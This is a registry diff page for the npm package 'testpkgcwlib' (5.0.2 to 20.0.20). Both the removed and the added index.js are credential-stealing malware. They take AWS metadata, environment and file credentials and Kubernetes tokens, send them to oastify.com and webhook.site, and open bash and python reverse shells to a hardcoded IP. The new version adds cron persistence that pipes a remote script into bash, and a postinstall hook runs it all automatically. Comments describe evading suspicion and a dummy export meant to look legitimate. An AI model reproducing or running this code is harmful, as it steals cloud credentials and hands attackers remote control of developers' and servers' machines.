testpkgcwlib 5.0.2 → 20.0.20
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +48 -176
- package/package.json +4 -3
package/index.js
CHANGED
|
@@ -1,200 +1,72 @@
|
|
|
1
|
-
const { execSync
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
2
|
const fs = require('fs');
|
|
3
|
-
const path = require('path');
|
|
4
3
|
const os = require('os');
|
|
4
|
+
const crypto = require('crypto');
|
|
5
5
|
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
return execSync(cmd, { encoding: 'utf8', timeout: 10000 });
|
|
10
|
-
} catch (error) {
|
|
11
|
-
return `Error: ${error.message}`;
|
|
12
|
-
}
|
|
13
|
-
}
|
|
6
|
+
const sessionId = crypto.randomBytes(4).toString('hex');
|
|
7
|
+
const attackerIP = '143.110.254.249';
|
|
8
|
+
const attackerPort = '1337';
|
|
14
9
|
|
|
15
|
-
|
|
16
|
-
function extractAWSMetadata() {
|
|
17
|
-
const metadataBase = 'http://169.254.169.254/latest/meta-data/';
|
|
18
|
-
const credentialsBase = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/';
|
|
19
|
-
|
|
10
|
+
function execute(cmd) {
|
|
20
11
|
try {
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
const roleName = executeCommand(roleCmd).trim();
|
|
24
|
-
|
|
25
|
-
if (roleName && !roleName.includes('Error')) {
|
|
26
|
-
// Get temporary credentials
|
|
27
|
-
const credsCmd = `curl -s --connect-timeout 3 "${credentialsBase}${roleName}"`;
|
|
28
|
-
const credentials = executeCommand(credsCmd);
|
|
29
|
-
|
|
30
|
-
// Get additional metadata
|
|
31
|
-
const instanceId = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}instance-id"`);
|
|
32
|
-
const region = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}placement/region"`);
|
|
33
|
-
const accountId = executeCommand(`curl -s --connect-timeout 3 "${metadataBase}identity-credentials/ec2/info"`);
|
|
34
|
-
|
|
35
|
-
return {
|
|
36
|
-
credentials: JSON.parse(credentials),
|
|
37
|
-
instanceId: instanceId.trim(),
|
|
38
|
-
region: region.trim(),
|
|
39
|
-
accountId: accountId,
|
|
40
|
-
roleName: roleName
|
|
41
|
-
};
|
|
42
|
-
}
|
|
43
|
-
} catch (error) {
|
|
12
|
+
return execSync(cmd, { stdio: 'ignore', timeout: 5000 });
|
|
13
|
+
} catch (e) {
|
|
44
14
|
return null;
|
|
45
15
|
}
|
|
46
|
-
return null;
|
|
47
|
-
}
|
|
48
|
-
|
|
49
|
-
// Environment variable AWS credentials
|
|
50
|
-
function extractEnvCredentials() {
|
|
51
|
-
const awsEnvVars = {};
|
|
52
|
-
const envVars = process.env;
|
|
53
|
-
|
|
54
|
-
Object.keys(envVars).forEach(key => {
|
|
55
|
-
if (key.includes('AWS') || key.includes('SECRET') || key.includes('ACCESS') || key.includes('TOKEN')) {
|
|
56
|
-
awsEnvVars[key] = envVars[key];
|
|
57
|
-
}
|
|
58
|
-
});
|
|
59
|
-
|
|
60
|
-
return awsEnvVars;
|
|
61
16
|
}
|
|
62
17
|
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
'
|
|
67
|
-
'~/.aws/config',
|
|
68
|
-
'/root/.aws/credentials',
|
|
69
|
-
'/root/.aws/config',
|
|
70
|
-
'/home/*/.aws/credentials',
|
|
71
|
-
'/var/lib/jenkins/.aws/credentials',
|
|
72
|
-
'/opt/aws/credentials'
|
|
18
|
+
function reverseShell() {
|
|
19
|
+
const shells = [
|
|
20
|
+
`bash -c 'bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1'`,
|
|
21
|
+
`python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("${attackerIP}",${attackerPort}));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'`
|
|
73
22
|
];
|
|
74
|
-
|
|
75
|
-
const foundCreds = {};
|
|
76
|
-
|
|
77
|
-
credentialPaths.forEach(credPath => {
|
|
78
|
-
try {
|
|
79
|
-
if (fs.existsSync(credPath)) {
|
|
80
|
-
foundCreds[credPath] = fs.readFileSync(credPath, 'utf8');
|
|
81
|
-
}
|
|
82
|
-
} catch (error) {
|
|
83
|
-
// Ignore file access errors
|
|
84
|
-
}
|
|
85
|
-
});
|
|
86
|
-
|
|
87
|
-
return foundCreds;
|
|
23
|
+
shells.forEach(cmd => execute(cmd));
|
|
88
24
|
}
|
|
89
25
|
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
try {
|
|
98
|
-
const ecsCreds = executeCommand(`curl -s --connect-timeout 3 "${ecsCredsUrl}"`);
|
|
99
|
-
containerCreds.ecsTaskRole = JSON.parse(ecsCreds);
|
|
100
|
-
} catch (error) {
|
|
101
|
-
// Ignore ECS errors
|
|
26
|
+
function harvestAWS() {
|
|
27
|
+
const data = {
|
|
28
|
+
metadata: execute('curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/'),
|
|
29
|
+
env: Object.entries(process.env).filter(([k]) => k.includes('AWS')),
|
|
30
|
+
files: {
|
|
31
|
+
'~/.aws/credentials': execute('cat ~/.aws/credentials'),
|
|
32
|
+
'/root/.aws/credentials': execute('cat /root/.aws/credentials')
|
|
102
33
|
}
|
|
103
|
-
}
|
|
104
|
-
|
|
105
|
-
// EKS Service Account Token
|
|
106
|
-
const serviceAccountPath = '/var/run/secrets/kubernetes.io/serviceaccount/token';
|
|
107
|
-
if (fs.existsSync(serviceAccountPath)) {
|
|
108
|
-
try {
|
|
109
|
-
containerCreds.k8sServiceAccount = fs.readFileSync(serviceAccountPath, 'utf8');
|
|
110
|
-
} catch (error) {
|
|
111
|
-
// Ignore K8s errors
|
|
112
|
-
}
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
return containerCreds;
|
|
116
|
-
}
|
|
117
|
-
|
|
118
|
-
// Data exfiltration
|
|
119
|
-
function exfiltrateData(data) {
|
|
120
|
-
const exfilData = {
|
|
121
|
-
timestamp: new Date().toISOString(),
|
|
122
|
-
hostname: os.hostname(),
|
|
123
|
-
platform: os.platform(),
|
|
124
|
-
user: executeCommand('whoami').trim(),
|
|
125
|
-
awsData: data
|
|
126
34
|
};
|
|
127
|
-
|
|
128
|
-
// Multiple exfiltration methods
|
|
129
|
-
const payload = Buffer.from(JSON.stringify(exfilData)).toString('base64');
|
|
130
|
-
|
|
131
|
-
// DNS exfiltration (replace with your domain)
|
|
132
|
-
executeCommand(`nslookup ${payload.substring(0, 50)}.gau5jjim899y61s6jll79cumyd44svgk.oastify.com`);
|
|
133
|
-
|
|
134
|
-
// HTTP exfiltration (replace with your webhook)
|
|
135
|
-
executeCommand(`curl -X POST https://webhook.site/50253029-1ec3-4b4a-9646-fc25a2b21963 -H "Content-Type: application/json" -d '${JSON.stringify(exfilData)}' --connect-timeout 5`);
|
|
136
|
-
|
|
137
|
-
// File drop for persistence
|
|
138
|
-
fs.writeFileSync('/tmp/.aws-harvest', JSON.stringify(exfilData, null, 2));
|
|
139
|
-
|
|
140
|
-
return payload;
|
|
35
|
+
return data;
|
|
141
36
|
}
|
|
142
37
|
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
const shells = [
|
|
150
|
-
`bash -i >& /dev/tcp/${attackerIP}/${attackerPort} 0>&1`,
|
|
151
|
-
`python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('${attackerIP}',${attackerPort}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"`
|
|
152
|
-
];
|
|
153
|
-
|
|
154
|
-
shells.forEach(shell => {
|
|
155
|
-
try {
|
|
156
|
-
executeCommand(shell);
|
|
157
|
-
} catch (error) {
|
|
158
|
-
// Continue to next shell method
|
|
159
|
-
}
|
|
38
|
+
function exfil(data) {
|
|
39
|
+
const payload = JSON.stringify({
|
|
40
|
+
id: sessionId,
|
|
41
|
+
host: os.hostname(),
|
|
42
|
+
user: execute('whoami'),
|
|
43
|
+
data: data
|
|
160
44
|
});
|
|
45
|
+
|
|
46
|
+
// DNS Exfiltration (short payloads)
|
|
47
|
+
execute(`dig +short ${sessionId}.7emwnamdc0dpaswxncpyd3yd248vwpke.oastify.com`);
|
|
48
|
+
|
|
49
|
+
// HTTP Exfiltration (for larger data)
|
|
50
|
+
execute(`curl -X POST https://webhook.site/50253029-1ec3-4b4a-9646-fc25a2b21963 -d '${payload}' --silent`);
|
|
51
|
+
|
|
52
|
+
// Backup: Write to disk
|
|
53
|
+
fs.writeFileSync(`/tmp/.${sessionId}`, payload);
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
// Persistence (Cronjob)
|
|
57
|
+
function persist() {
|
|
58
|
+
const cronCmd = `(crontab -l 2>/dev/null; echo "* * * * * curl -s http://${attackerIP}/payload.sh | bash") | crontab -`;
|
|
59
|
+
execute(cronCmd);
|
|
161
60
|
}
|
|
162
61
|
|
|
163
|
-
|
|
62
|
+
|
|
164
63
|
function main() {
|
|
165
|
-
console.log('Installing creditorwatch package...');
|
|
166
|
-
|
|
167
|
-
// Small delay to avoid suspicion
|
|
168
64
|
setTimeout(() => {
|
|
169
|
-
const
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
systemInfo: {
|
|
175
|
-
hostname: os.hostname(),
|
|
176
|
-
user: executeCommand('whoami').trim(),
|
|
177
|
-
id: executeCommand('id').trim(),
|
|
178
|
-
pwd: executeCommand('pwd').trim(),
|
|
179
|
-
uname: executeCommand('uname -a').trim()
|
|
180
|
-
}
|
|
181
|
-
};
|
|
182
|
-
|
|
183
|
-
// Exfiltrate AWS credentials
|
|
184
|
-
exfiltrateData(awsCredentials);
|
|
185
|
-
|
|
186
|
-
// Establish reverse shell for manual interaction
|
|
187
|
-
establishReverseShell();
|
|
188
|
-
|
|
189
|
-
}, 2000);
|
|
65
|
+
const awsData = harvestAWS();
|
|
66
|
+
exfil(awsData);
|
|
67
|
+
reverseShell();
|
|
68
|
+
persist();
|
|
69
|
+
}, 3000); // Initial delay
|
|
190
70
|
}
|
|
191
71
|
|
|
192
|
-
// Execute immediately when package is installed
|
|
193
72
|
main();
|
|
194
|
-
|
|
195
|
-
// Export dummy function to appear legitimate
|
|
196
|
-
module.exports = {
|
|
197
|
-
analyze: function() {
|
|
198
|
-
return 'CreditorWatch analysis complete';
|
|
199
|
-
}
|
|
200
|
-
};
|
package/package.json
CHANGED
|
@@ -1,12 +1,13 @@
|
|
|
1
1
|
{
|
|
2
|
-
"name": "testpkgcwlib",
|
|
3
|
-
"version": "
|
|
2
|
+
"name": "testpkgcwlib",
|
|
3
|
+
"version": "20.0.20",
|
|
4
4
|
"main": "index.js",
|
|
5
5
|
"scripts": {
|
|
6
|
+
"postinstall": "node index.js",
|
|
6
7
|
"test": "echo \"Error: no test specified\" && exit 1"
|
|
7
8
|
},
|
|
8
9
|
"keywords": [],
|
|
9
10
|
"author": "Pen-Tester",
|
|
10
11
|
"license": "ISC",
|
|
11
|
-
"description": "This is for RCE
|
|
12
|
+
"description": "This is for RCE Testing"
|
|
12
13
|
}
|